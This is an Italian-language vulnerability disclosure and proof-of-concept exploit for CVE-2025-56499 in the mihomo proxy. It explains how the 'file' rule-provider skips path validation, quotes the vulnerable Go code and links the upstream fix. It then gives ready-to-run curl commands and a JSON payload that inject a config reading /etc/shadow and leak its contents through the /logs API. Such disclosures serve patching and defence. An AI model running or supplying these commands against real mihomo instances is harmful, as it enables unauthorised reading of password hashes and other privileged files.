
Exploit proof-of-concept per CVE-2025-56499 che dimostra la lettura arbitraria di file tramite mancata validazione del percorso nel tipo di file rule-provider in mihomo, con esfiltrazione di dati basata su log.
Lettura arbitraria di file tramite mancata validazione del percorso in Local Rule Provider
Fix a monte: https://github.com/MetaCubeX/mihomo/pull/2177
Versioni affette: mihomo <= v1.19.11
Durante l'analisi della configurazione rule-providers, il ramo type = "file" non valida il percorso fornito. Un attaccante autenticato che controlla schema.Path può indirizzare il provider verso qualsiasi file locale leggibile. Poiché la maggior parte dei file arbitrari non è conforme al formato previsto per le regole, gli errori di parsing (inclusi frammenti sostanziali del contenuto del file) vengono emessi nei log in memoria ed esposti tramite l'API /logs. Dato che mihomo viene spesso eseguito con privilegi elevati (root / amministratore), ciò comporta una divulgazione di informazioni ad alto impatto.
rules/provider/parse.go, il caso schema.Type == "file" invoca solo C.Path.Resolve() e non applica mai C.Path.IsSafePath() o alcun vincolo equivalente di whitelist/sandbox.var vehicle P.Vehicle
switch schema.Type {
case "file":
path := C.Path.Resolve(schema.Path)
vehicle = resource.NewFileVehicle(path)
case "http":
path := C.Path.GetPathByHash("rules", schema.URL)
if schema.Path != "" {
path = C.Path.Resolve(schema.Path)
if !C.Path.IsSafePath(path) {
return nil, C.Path.ErrNotSafePath(path)
}
}
vehicle = resource.NewHTTPVehicle(schema.URL, path, schema.Proxy, nil, resource.DefaultHttpTimeout, schema.SizeLimit)
case "inline":
return NewInlineProvider(name, behavior, schema.Payload, parse), nil
default:
return nil, fmt.Errorf("unsupported vehicle type: %s", schema.Type)
}
Carenze del ramo file:
/logs per catturare l'output degli errori di parsing./configs contenente una voce dannosa rule-providers con type = file e il percorso del file target.Ascolta i log (esempio token Bearer 123):
curl -X GET "http://localhost:9999/logs" \
-H "Authorization: Bearer 123"
Inietta configurazione per leggere /etc/shadow:
curl -X PUT "http://localhost:9999/configs" \
-H "Authorization: Bearer 123" \
-H "Content-Type: application/json" \
-d '{"payload": "{\"log-level\": \"debug\", \"external-controller-unix\": \"mihomo.sock\", \"rule-providers\": {\"pwn\": {\"type\": \"file\", \"behavior\": \"classical\", \"format\": \"text\", \"path\": \"/etc/shadow\"}}}"}'
Payload senza escape:
{
"log-level": "debug",
"external-controller-unix": "mihomo.sock",
"rule-providers": {
"pwn": {
"type": "file",
"behavior": "classical",
"format": "text",
"path": "/etc/shadow"
}
}
}
Risultato: Le righe di fallimento del parsing in /logs contengono frammenti di /etc/shadow (screenshot di esempio):
